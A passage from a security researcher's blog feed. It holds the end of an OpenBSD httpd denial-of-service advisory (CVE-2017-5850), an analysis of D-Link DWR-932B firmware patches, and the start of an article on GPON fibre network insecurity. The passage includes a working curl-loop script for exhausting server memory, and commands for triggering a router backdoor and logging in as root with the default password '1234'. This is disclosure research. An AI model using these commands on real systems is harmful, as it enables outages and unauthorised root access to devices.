    <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #BB6688">&lt;$sock&gt;</span>) {<span style="color: #008000">sleep</span> (<span style="color: #666666">0.5</span>); <span style="color: #19177C">$sock</span><span style="color: #666666">-&gt;</span><span style="color: #008000">close</span>();}
    <span style="color: #19177C">$pm</span><span style="color: #666666">-&gt;</span>finish;
  }
  <span style="color: #19177C">$pm</span><span style="color: #666666">-&gt;</span>wait_all_children;
}
</pre></div>

<p>An attacker can use curl to replicate the PoC:</p>
<pre><code>curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs
</code></pre>
<p>Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory
for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting
all the RAM. The OpenBSD system will likely freeze within minutes.</p>
<p>PoC with curl (more effective than the perl version, it appears):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #408080; font-style: italic">#!/bin/sh</span>
<span style="color: #408080; font-style: italic"># ./$0 www.target.tld /path/to/file</span>

<span style="color: #008000">unset</span> http_proxy
<span style="color: #008000">unset</span> https_proxy

<span style="color: #008000; font-weight: bold">for</span> i in <span style="color: #008000; font-weight: bold">$(</span>seq <span style="color: #666666">0</span> <span style="color: #666666">300</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #008000; font-weight: bold">do</span>
  <span style="color: #008000">echo</span> sending a req
  curl --limit-rate <span style="color: #666666">1</span> --continue-at <span style="color: #666666">1</span> --header <span style="color: #BA2121">&quot;Host: </span><span style="color: #19177C">$1</span><span style="color: #BA2121">&quot;</span> http://<span style="color: #19177C">$1</span>/<span style="color: #19177C">$2</span> <span style="color: #666666">2</span>&gt;/dev/null &gt;/dev/null &amp;
  sleep <span style="color: #666666">0</span>.5
  pkill curl
<span style="color: #008000; font-weight: bold">done</span>
<span style="color: #008000; font-weight: bold">while</span> sleep <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">do</span>
  <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;sending a req (slow)&quot;</span>
  curl --limit-rate <span style="color: #666666">1</span> --continue-at <span style="color: #666666">1</span> --header <span style="color: #BA2121">&quot;Host: </span><span style="color: #19177C">$1</span><span style="color: #BA2121">&quot;</span> http://<span style="color: #19177C">$1</span>/<span style="color: #19177C">$2</span> <span style="color: #666666">2</span>&gt;/dev/null &gt;/dev/null &amp;
  pkill curl
<span style="color: #008000; font-weight: bold">done</span>
</pre></div>

<p>This attack works using HTTP and using HTTPS.</p>
<p>Current situation in the attacked server (SWAP is full and all the RAM is being completely used):</p>
<pre><code>load averages:  7.11,  3.30,  1.38                                             foo.my.domain 10:26:41
39 processes: 6 running, 32 idle, 1 on processor                                             up  0:03
CPU states:  0.0% user,  0.0% nice,  100% system,  0.0% interrupt,  0.0% idle
Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M

  PID USERNAME PRI NICE  SIZE   RES STATE     WAIT      TIME    CPU COMMAND
  48965 www       28    0 1345M  204M run       -         0:05  0.00% httpd
  43060 www       28    0 1281M  174M run       -         0:05  0.00% httpd
  91565 www       28    0 1153M  187M run       -         0:04  0.00% httpd
  63038 www        2    0  948K    4K idle      kqread    0:00  0.00% httpd
</code></pre>
<p>We see the daemons (httpd and sshd) don't answer anymore:</p>
<pre><code>user@kali:~$ 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet&gt; q
Connection closed.
user@kali:~$ telnet 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet&gt; q
Connection closed.
user@kali:~$ telnet 10.0.2.15 22
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet&gt; q
Connection closed.
Connection closed by foreign host.
</code></pre>
<h2>Vendor Response</h2>
<p>o The issue about memory exhaustion has been solved in two ways:</p>
<ul>
<li>OpenBSD 6.0/5.9: Erratas has been issued at:</li>
</ul>
<p><a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig">https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig</a></p>
<p><a href="https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig">https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig</a></p>
<ul>
<li>OpenBSD -current: We reimplemented support for byte ranges in
-current.  The previous implementation was flawed indeed, as it tried
to load the complete ranges into memory at once.</li>
</ul>
<p>o High CPU usage is a well-known issue of client-initiated
renegotiation.  While this can cause higher than normal CPU usage, the
processes are still able to service requests.</p>
<p>As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we
decided to disable client-initiated renegotiation for libtls servers
in -current.  This change was already planned and has now been
committed to LibreSSL.</p>
<ul>
<li>libssl <a href="http://marc.info/?l=openbsd-cvs&amp;m=148587695222112&amp;w=2">http://marc.info/?l=openbsd-cvs&amp;m=148587695222112&amp;w=2</a></li>
<li>libtls <a href="http://marc.info/?l=openbsd-cvs&amp;m=148587827322528&amp;w=2">http://marc.info/?l=openbsd-cvs&amp;m=148587827322528&amp;w=2</a></li>
</ul>
<h2>Report Timeline</h2>
<ul>
<li>Jan 25, 2017: Vulnerabilities found by Pierre Kim.</li>
<li>Jan 30, 2017: OpenBSD team is notified of the vulnerabilities.</li>
<li>Jan 30, 2017: OpenBSD team replies that they will study the advisory.</li>
<li>Jan 31, 2017: OpenBSD team confirms the vulnerabilities.</li>
<li>Jan 31, 2017: Pierre Kim asks for CVE entries.</li>
<li>Jan 31, 2017: OpenBSD team releases security patches.</li>
<li>Feb 01, 2017: cve-assign () mitre org assigns CVE-2017-5850 and asks for more details.</li>
<li>Feb 07, 2017: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html">https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt">https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt</a></p>
<p><a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig">https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig</a></p>
<p><a href="https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig">https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Update - Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...) - Analysis of the corrected firmware</title>
        <link href="2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html"/>
        <content type="html"><p>An update on the post "<a href="https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html">Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)</a>":</p>
<p>MITRE has provided me with CVE numbers.</p>
<ul>
<li>CVE-2016-10177 for #1 (Backdoor accounts)</li>
<li>CVE-2016-10178 for #2 (Backdoor)</li>
<li>CVE-2016-10179 for #3 (hardcoded WPS PIN)</li>
<li>CVE-2016-10180 for #4 (WPS PIN generation based on srand(time(0)) seeding)</li>
<li>CVE-2016-10181 for #5 (qmiweb leaks information)</li>
<li>CVE-2016-10182 for #6 (qmiweb allows command injection with ` characters)</li>
<li>CVE-2016-10183 for #7 (qmiweb allows directory listing with ../ traversal)</li>
<li>CVE-2016-10184 for #8 (qmiweb allows file reading with ..%2f traversal)</li>
<li>CVE-2016-10185 for #9 (A secure_mode=no line exists in /var/miniupnpd.conf)</li>
<li>CVE-2016-10186 for #10 (/var/miniupnpd.conf has no deny rules)</li>
</ul>
<p>Although <a href="http://www.dlink.com/xk/sq/support/support-news/2016/october/19/multiple-potential-vulnerabilities-found-in-the-dwr_932-hw-b1">D-link did not acknowledge all the vulnerabilities on its products</a>,
<strong>it released a new firmware</strong> on Oct 19, 2016 (<a href="ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip">DWR-932_fw_revB_2_03_eu_en_20161011.zip</a>)
that <strong>should fix several RCEs and backdoors</strong>.
<strong>According to D-Link, there is no vulnerability as long as
"potential attackers cannot connect to the secure wi-fi network"[1]
- does it mean the product is secure as long as there are no attackers?</strong></p>
<p>A reader will note that D-Link did have a full advisory with PoCs <strong><a href="https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html">for more than 100 days while taking no actions before public disclosure</a></strong> and he/she will surely be able to verify the vulnerabilities by downloading an affected firmware and reversing the binaries (<a href="https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html">see my blog post for details</a>).</p>
<p>D-Link did not make any effort to contact the security researcher even after the initial advisory was published, but it posted its official answers and patches on their website that the security researcher found "by chance".</p>
<p>However, <strong>the corrected firmware still appears to have the backdoor in execution</strong>. The only security patches they made were:</p>
<ol>
<li>renaming <code>/sbin/telnetd</code> to <code>/sbin/xxlnetd</code> (so the <code>appmgr</code> backdoor cannot be used by an attacker),</li>
<li>dropbear is now listening to port <code>47980/tcp</code> or to port <code>999999999/tcp</code> instead of <code>22/tcp</code> (still with <code>root/1234</code>).</li>
</ol>
<p>The <code>appmgr</code> backdoor is still present and running but ineffective (as <code>/sbin/telnetd</code> doesn't exist anymore):</p>
<pre><code>root@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 &lt;- will NOT start a telnetd on port 23/tcp
                                                             because /sbin/telnetd was removed
</code></pre>
<p><strong>Interesting fact:</strong> Starting Dropbear with port <code>999999999/tcp</code> will result in dropbear using the port <code>51711/tcp</code> instead (<code>999999999 &amp; 0xFFFF</code>).</p>
<p>So, an attacker can still use the backdoor access to continue to root the device. With SSH:</p>
<pre><code>root@kali:~$ ssh -l root -p 47980 192.168.1.1 &lt;- will provide a root shell with "1234" as a password.
</code></pre>
<p>OR</p>
<pre><code>root@kali:~$ ssh -l root -p 51711 192.168.1.1 &lt;- will provide a root shell with "1234" as a password.
</code></pre>
<p><strong>Following the reaction from D-Link and the lack of quality of the security patches,
I finally advise users to trash their affected routers and
I encourage security researchers to review security patches provided from D-Link instead of blindly trusting them.</strong></p>
<p>Note that future 0day vulnerabilities regarding D-Link products may be released at my will without coordinated disclosure ("Full disclosure").</p>
<h2>"ALTERNATIVE FACT" - backdoor access are still present inside the new firmware:</h2>
<p>I would like to thank <a href="https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli">Gianni Carabelli</a> for finding the password of the zip file provided by D-Link.</p>
<pre><code>root@kali:~# wget ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# sha256sum DWR-932_fw_revB_2_03_eu_en_20161011.zip # in case of a modification of this file by D-link
fb721979b235c9da9a9b8e505767ce04410b8c7f5035a73ac2c4cc0b9cada3bd DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# dd if=DWR-932_fw_revB_2_03_eu_en_20161011.zip of=firmware.zip bs=64 skip=1
993106+1 records in
993106+1 records out
63558829 bytes (64 MB) copied, 1.29239 s, 49.2 MB/s
root@kali:~# mkdir output &amp;&amp; cd output &amp;&amp; 7z x -pbeUT9Z ../firmware.zip
root@kali:~/output# 7z x -pbeUT9Z firmware.zip

7-Zip 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: ../firmware.zip

Extracting  02.03EU
Extracting  2K-cksum.txt
Extracting  2K-mdm-image-mdm9625.yaffs2
Extracting  appsboot.mbn
Extracting  mba.mbn
Extracting  mdm-image-boot-mdm9625.img
Extracting  mdm-image-mdm9625.yaffs2
Extracting  mdm-recovery-image-boot-mdm9625.img
Extracting  mdm-recovery-image-mdm9625.yaffs2
Extracting  mdm9625-usr-image.usrfs.yaffs2
Extracting  qdsp6sw.mbn
Extracting  rpm.mbn
Extracting  sbl1.mbn
Extracting  tz.mbn
Extracting  wdt.mbn

Everything is Ok

Files: 15
Size:       145018347
Compressed: 63558829
root@kali:~/output# ls -latr
total 141640
-rwx------ 1 root root     7840 Jul 18  2014 wdt.mbn
-rwx------ 1 root root   266648 Jul 18  2014 tz.mbn
-rwx------ 1 root root   262144 Jul 18  2014 sbl1.mbn
-rwx------ 1 root root   147432 Jul 18  2014 rpm.mbn
-rwx------ 1 root root 42338681 Jul 18  2014 qdsp6sw.mbn
-rw------- 1 root root  3823616 Jul 18  2014 mdm-recovery-image-boot-mdm9625.img
-rw------- 1 root root  3823616 Jul 18  2014 mdm-image-boot-mdm9625.img
-rwx------ 1 root root   365464 Jul 18  2014 mba.mbn
-rwx------ 1 root root    69872 Jul 18  2014 appsboot.mbn
-rw------- 1 root root 14733312 Oct 10 23:16 mdm-recovery-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 10 23:16 mdm-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 11 02:37 2K-mdm-image-mdm9625.yaffs2
-rw------- 1 root root 27439104 Oct 11 03:19 mdm9625-usr-image.usrfs.yaffs2
-rw------- 1 root root      842 Oct 11 03:19 2K-cksum.txt
-rw------- 1 root root        0 Oct 11 03:19 02.03EU
drwx------ 2 root root      340 Nov 10 17:07 .
drwx------ 3 root root       80 Nov 10 17:24 ..
root@kali:~/output# mkdir 1 &amp;&amp; cd 1 &amp;&amp; unyaffs ../mdm9625-usr-image.usrfs.yaffs2
</code></pre>
<p>Only <code>etc/versions</code> was updated in <code>mdm9625-usr-image.usrfs.yaffs2</code>. No useful information.</p>
<p>Diff is:</p>
<pre><code>1c1
&lt; fw_version=02.02EU
---
&gt; fw_version=02.03EU
7c7
&lt; model_name=beUT9Z
---
&gt; model_name=beUT9Z#
</code></pre>
<p><code>mdm-recovery-image-mdm9625.yaffs2</code> was unchanged compared to 2.02 version.</p>
<p>Let's dig <code>2K-mdm-image-mdm9625.yaffs2</code>:</p>
<pre><code>root@kali:~/output/1# cd .. &amp;&amp; mkdir 2 &amp;&amp; cd 2 &amp;&amp; unyaffs ../2K-mdm-image-mdm9625.yaffs2
root@kali:~/output/2# ls -latr
total 4
drwxr-xr-x  2 root root   40 Jul 18  2014 sys
drwxr-xr-x  2 root root   40 Jul 18  2014 proc
drwxr-xr-x  2 root root 1300 Jul 18  2014 dev
drwxr-xr-x  2 root root   40 Jul 18  2014 boot
drwxr-xr-x  7 root root  240 Jul 18  2014 var
lrwxrwxrwx  1 root root    8 Jul 18  2014 www -&gt; /usr/www
lrwxrwxrwx  1 root root   11 Jul 18  2014 sdcard -&gt; /media/card
drwxr-xr-x  2 root root  120 Jul 18  2014 mnt
drwxr-xr-x 10 root root  200 Jul 18  2014 media
drwxr-sr-x  3 root root   60 Jul 18  2014 home
drwxr-xr-x  2 root root   60 Jul 18  2014 disk
drwxr-xr-x  3 root root   60 Jul 18  2014 WEBSERVER
lrwxrwxrwx  1 root root   12 Jul 18  2014 linuxrc -&gt; /bin/busybox
drwxr-xr-x  2 root root 6020 Jul 18  2014 bin
drwxr-xr-x  2 root root   40 Jul 18  2014 usr
drwxrwxrwt  2 root root   40 Jul 18  2014 tmp
drwxr-xr-x  4 root root 1140 Jul 18  2014 lib
drwxr-xr-x 31 root root 1680 Jul 18  2014 etc
drwxr-xr-x  2 root root   40 Jul 18  2014 config2
drwxr-xr-x  2 root root   40 Jul 18  2014 config
drwxr-xr-x  2 root root   40 Jul 18  2014 cache
-rw-r--r--  1 root root   38 Jul 18  2014 build.prop
drwxr-xr-x 21 root root  500 Jul 18  2014 .
drwxr-xr-x  2 root root 3040 Oct 10 23:12 sbin
drwx------  4 root root  380 Nov 10 17:26 ..
root@kali:~/output/2# ls -latr etc/init.d|tail
-rwxr-xr-x  1 root root  2015 Jul 18  2014 reboot
-rwxr-xr-x  1 root root 10835 Jul 18  2014 power_config
-rwxr-xr-x  1 root root  2138 Jul 18  2014 start_ipacm_le
-rwxr-xr-x  1 root root   609 Jul 18  2014 run-postinsts
-rwxr-xr-x  1 root root  2178 Jul 18  2014 start_appmgr
lrwxrwxrwx  1 root root     8 Jul 18  2014 stop-bootlogd -&gt; bootlogd
lrwxrwxrwx  1 root root    14 Jul 18  2014 syslog -&gt; syslog.busybox
drwxr-xr-x 31 root root  1680 Jul 18  2014 ..
-rwxr-xr-x  1 root root  2681 Oct 11 02:33 dropbear
drwxr-xr-x  2 root root  1180 Oct 11 02:33 .
root@kali:~/output/2#
</code></pre>
<p>Backdoor is still started at boot (same SHA256):</p>
<pre><code>root@kali:~/output/2# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18  2014 ./etc/init.d/start_appmgr
root@kali:~/output/2# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18  2014 bin/appmgr
root@kali:~/output/2# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/2# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content &lt;%s&gt; from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/2#
</code></pre>
<p><strong>Wow a patch ! Dropbear will listen to port 999999999/tcp (are you sure you want to do this because 999999999 &amp; 0xFFFF = 51711 ?)</strong></p>
<pre><code>root@kali:~/output/2# head -n 30 etc/init.d/dropbear 
#!/bin/sh
### BEGIN INIT INFO
# Provides:             sshd
# Required-Start:       $remote_fs $syslog $networking
# Required-Stop:        $remote_fs $syslog
# Default-Start:        2 3 4 5
# Default-Stop:         1
# Short-Description:    Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"

DROPBEAR_PORT=999999999
DROPBEAR_EXTRA_ARGS=
NO_START=0

set -e

test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0

readonly_rootfs=0
root@kali:~/output/2#
</code></pre>
<p>Still the same passwords (<code>root / 1234</code>):</p>
<pre><code>root@kali:~/output/2# john etc/shadow  
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (root)
1g 0:00:00:00 100% 2/3 12.50g/s 25162p/s 25162c/s 25162C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre>
<p>Now with <code>mdm-image-mdm9625.yaffs2</code> (this appears to be a "test image", without the dropbear tweak):</p>
<pre><code>root@kali:~/output/2# cd .. &amp;&amp; mkdir 3 &amp;&amp; cd 3 &amp;&amp; unyaffs ../mdm-image-mdm9625.yaffs2
</code></pre>
<p>Backdoor is still started at boot (same SHA256):</p>
<pre><code>root@kali:~/output/3# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18  2014 ./etc/init.d/start_appmgr
root@kali:~/output/3# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18  2014 bin/appmgr
root@kali:~/output/3# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20  bin/appmgr
root@kali:~/output/3# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content &lt;%s&gt; from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/3#
</code></pre>
<p>Wow, the final patch! Dropbear is now listening to port 47980/tcp.</p>
<pre><code>root@kali:~/output/3# ls -latr etc/init.d|tail
-rwxr-xr-x  1 root root  2015 Jul 18  2014 reboot
-rwxr-xr-x  1 root root 10835 Jul 18  2014 power_config
-rwxr-xr-x  1 root root  2138 Jul 18  2014 start_ipacm_le
-rwxr-xr-x  1 root root   609 Jul 18  2014 run-postinsts
-rwxr-xr-x  1 root root  2178 Jul 18  2014 start_appmgr
lrwxrwxrwx  1 root root     8 Jul 18  2014 stop-bootlogd -&gt; bootlogd
lrwxrwxrwx  1 root root    14 Jul 18  2014 syslog -&gt; syslog.busybox
drwxr-xr-x 31 root root  4096 Jul 18  2014 ..
-rwxr-xr-x  1 root root  2677 Oct 10 23:11 dropbear
drwxr-xr-x  2 root root  4096 Oct 10 23:11 .
root@kali:~/output/3# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides:   sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop:  $remote_fs $syslog
# Default-Start:  2 3 4 5
# Default-Stop:   1
# Short-Description:  Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"

DROPBEAR_PORT=47980
DROPBEAR_EXTRA_ARGS=
NO_START=0

set -e

test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0

readonly_rootfs=0
</code></pre>
<p><strong>It took 5 months for D-Link to produce these security patches. It appears only 1 vulnerability was patched.</strong></p>
<h2>Diff between 2.02 version (vulnerable) and 2.03 version ("patched"):</h2>
<pre><code>root@kali:~# diff 202/2K/etc/init.d/dropbear 203/2K/etc/init.d/dropbear
19c19
&lt; DROPBEAR_PORT=22
---
&gt; DROPBEAR_PORT=999999999
root@kali:~#
</code></pre>
<p>And:</p>
<pre><code>&gt; /sbin/xxlnetd
&lt; /sbin/telnetd
</code></pre>
<p>And finally:</p>
<pre><code>root@kali:~# diff 202/usr/etc/versions 203/usr/etc/init.d/dropbear
&lt; fw_version=02.02EU
---
&gt; fw_version=02.03EU
7c7
&lt; model_name=beUT9Z
---
&gt; model_name=beUT9Z#
root@kali:~#
</code></pre>
<p>And the final PoC:</p>
<pre><code>root@kali:~# ssh -l root -p 51711 192.168.1.1
The authenticity of host '[192.168.1.1]:51711 ([192.168.1.1]:51711)' can't be established.
RSA key fingerprint is SHA256:0RCgva9fjvPn6TkN89hkVQHIpHkKfvfsGmYtnOgki0g.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.1.1]:51711' (RSA) to the list of known hosts.
root@192.168.1.1's password: 
root@homerouter:~# ps -a|grep dropbear
  352 root       0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
 1190 root       0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
 1203 root       0:00 grep dropbear
root@homerouter:~# netstat -antelapu|grep drop
tcp        0      0 0.0.0.0:51711           0.0.0.0:*               LISTEN      318/dropbear
tcp        0      0 192.168.1.1:51711       192.168.1.2:44924       ESTABLISHED 1061/dropbear
tcp        0      0 :::51711                :::*                    LISTEN      318/dropbear
root@homerouter:~#
</code></pre>
<p>Then, the DBG backdoor can be reactivated by an attacker just by adding a symlink from <code>/sbin/telnetd</code> to <code>/sbin/busybox</code>.</p></content>
    </entry>
    
    <entry>
        <title>GPON FTTH networks (in)security</title>
        <link href="2016-11-01-gpon-ftth-networks-insecurity.html"/>
        <content type="html"><h2>Table of contents</h2>
<p>&nbsp;<a href="#introduction">1. Introduction</a><br>
&nbsp;<a href="#explanation-of-gpon-networks">2. Explanation of GPON networks</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#gpon-networks">2.1. GPON Network</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#ont-used-in-this-research">2.2. ONT/ONU used in this research</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#ont-authentication">2.3. ONT Authentication</a><br>
&nbsp;<a href="#studying-the-onts">3. Studying the ONTs</a><br>
&nbsp;<a href="#internet-connection">4. Internet Authentication</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#sfr">4.1. SFR</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#orange">4.2. Orange</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bouygues">4.3. Bouygues FTTH</a><br>
&nbsp;<a href="#security-threat-against-the-gpon-ftth-model">5. Security Threat against the GPON FTTH model</a><br>
&nbsp;<a href="#physical-security">6. Physical Security</a><br>
&nbsp;<a href="#hacking-the-ont">7. Powning the ONT</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#rce">7.1. Remote Code execution</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#analysing-the-ont">7.2. Analysing the ONT</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#backdoor-credentials-in-etc-passwd">7.3. Backdoor credentials in /etc/passwd*</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#backdoor-accountd-in-http">7.4. Backdoor accounts in the HTTP configuration files</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bad-unix-rights">7.5. Bad UNIX RIGHTS and UID/GID everywhere</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#same-ssh-keys">7.6. Same SSH keys used in all the firmware</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#re-alcatel">7.7. Reverse-engineering - introducing Alcatel binaries</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#re-backdoor">7.8. Reverse-engineering - Strange binary</a><br>
&nbsp;<a href="#bruteforce">8. Bruteforce</a><br>
&nbsp;<a href="#conclusion">9. Conclusion</a><br>
&nbsp;<a href="#report-timeline">10. Report Timeline</a><br>
&nbsp;<a href="#credits">11. Credits and Greetings</a><br>
&nbsp;<a href="#license">12. License</a><br></p>
<p><a id="introduction"></a></p>
<h2>1. Introduction</h2>
<p><strong>GPON FTTH network</strong> is the future: GPON FTTH (Fiber To The Home) is very popular because it is cheap and allows people to download <em>legal Video On Demand</em> damn fast.  Everybody wants GPON FTTH at home, you, me, my dog and my neighbors. In fact, you are sharing 2.5gbps of downstream with others clients (but it is still fast).</p>
<p>This article will present FTTH GPON (in)security, based on attacks against IoT. It's mainly written against GPON networks in France and will focus on Alcatel Lucent GPON networks (Orange, Bouygues and SFR). Free FTTH network (point to point network) is out of scope in this research.</p>
<p>This is the first public article about (in)security of FTTH GPON networks. It will contain RCE against <code>ONT/ONU</code> (the device located in your house which is connected to the fiber optic) and tips how to potentially get an anonymous 1gbps Internet connection in France. The legal implication of this research is interesting: <strong>When FTTH connections are involved, the IP used as evidence may not be identifiable any more thus questions its legitimate value.</strong></p>
<p>Telecom Italia did a great presentation about <a href="http://docbox.etsi.org/Workshop/2009/200901_SECURITYWORKSHOP/TELECOMITALIA_DELUTIIS_NextGenerationAccessNetwork(in)Security.pdf">theoretical GPON security</a> in 2009, but there are not a lot of documentations about the security of GPON FTTH networks apart from this presentation. Please note there may have some facts that still need to be clarified in this research (but all the major facts were confirmed by a major French ISP).</p>
<p><strong>This research was mainly done in 2013-2014 but was kept private. It was done for educational purpose in order to understand how GPON FTTH works.</strong></p>
<p><strong>Legal Note: these tests were done using my FTTH connections at home. Yes, you can have up to 4 FTTH connections working at the same time with same or different ISPs in France. Orange was contacted 6 months ago (May 11, 2016) about these vulnerabilities.</strong></p>
<p>You can find FTTH GPON networks in other countries too, e.g. South Korea.</p>
<p><a id="explanation-of-gpon-networks"></a></p>
<h2>2. Explanation of GPON networks</h2>
<p>A GPON network is a passive optical network featuring <strong>one-to-multipoint architecture</strong>.</p>
<p>It consists of Optical Line Terminal (<code>OLT</code>), Passive Optical Splitter and Optical Network Unit (Optical Network Transceiver, <code>ONU/ONT</code>). The fiber optic strands are shared among multiple clients: splitters are used to separate and aggregate the optical signal.</p>
<ul>
<li><code>GPON</code> is the acronym for Gigabit-capable Passive Optical Networks</li>
<li><code>OLT</code> is the acronym for Optical Line Terminal.</li>
<li><code>ONU</code> is the acronym for Optical Network Unit. - multiple clients</li>
<li><code>ONT</code> is the acronym for Optical Network Transceiver or Optical Network Terminal - single clients</li>
<li><code>SLID</code> is the acronym for Subscriber Line IDentifier.</li>
<li><code>POS</code> is the acronym for Passive Optical Splitter.</li>
</ul>
<p>A GPON network allows multiple ISP. In France, Orange, SFR and Bouygues Telecom are using the same GPON FTTH networks.</p>
<p><a id="gpon-networks"></a></p>
<h3>2.1. GPON Network</h3>
<p><img alt="" src="images/2016-ftth-article1-pon-wikipedia.png" /></p>
<blockquote>
